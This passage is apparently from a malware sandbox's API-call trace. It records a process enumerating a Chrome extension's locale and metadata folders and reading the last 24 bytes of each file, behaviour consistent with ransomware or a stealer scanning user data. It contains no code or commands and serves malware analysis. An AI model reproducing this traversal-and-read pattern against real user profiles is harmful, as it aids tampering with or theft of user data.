(in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.087] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.088] CloseHandle (hObject=0x274) returned 1 [0097.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.090] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.090] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.091] CloseHandle (hObject=0x274) returned 1 [0097.091] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.091] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.091] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.092] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.092] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.092] CloseHandle (hObject=0x274) returned 1 [0097.092] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.093] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.093] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.093] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.093] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.094] CloseHandle (hObject=0x274) returned 1 [0097.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.094] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.094] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.094] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.096] CloseHandle (hObject=0x274) returned 1 [0097.096] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.096] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.096] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.096] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.096] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.097] CloseHandle (hObject=0x274) returned 1 [0097.097] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.098] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.098] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.098] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.099] CloseHandle (hObject=0x274) returned 1 [0097.099] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.099] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.099] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.099] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.099] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.100] CloseHandle (hObject=0x274) returned 1 [0097.100] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.100] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.100] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.100] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.101] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.101] CloseHandle (hObject=0x274) returned 1 [0097.101] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.102] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.102] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.102] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.103] CloseHandle (hObject=0x274) returned 1 [0097.103] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.103] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.103] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.103] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.103] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.104] CloseHandle (hObject=0x274) returned 1 [0097.104] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.104] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.104] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.105] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.105] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.105] CloseHandle (hObject=0x274) returned 1 [0097.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.106] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.106] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.106] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.107] CloseHandle (hObject=0x274) returned 1 [0097.107] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.107] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.107] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.107] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.107] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.108] CloseHandle (hObject=0x274) returned 1 [0097.108] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.109] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.109] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.109] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.110] CloseHandle (hObject=0x274) returned 1 [0097.110] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.110] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.110] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.110] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.110] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.111] CloseHandle (hObject=0x274) returned 1 [0097.111] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.112] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.112] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.112] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.112] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.113] CloseHandle (hObject=0x274) returned 1 [0097.113] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.113] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.113] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.113] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.113] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.114] CloseHandle (hObject=0x274) returned 1 [0097.114] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.114] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.114] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.114] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.115] CloseHandle (hObject=0x274) returned 1 [0097.115] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.115] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0097.116] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0097.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.116] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.116] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0097.117] CloseHandle (hObject=0x28c) returned 1 [0097.117] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.117] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0097.118] CloseHandle (hObject=0x28c) returned 1 [0097.118] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0097.119] 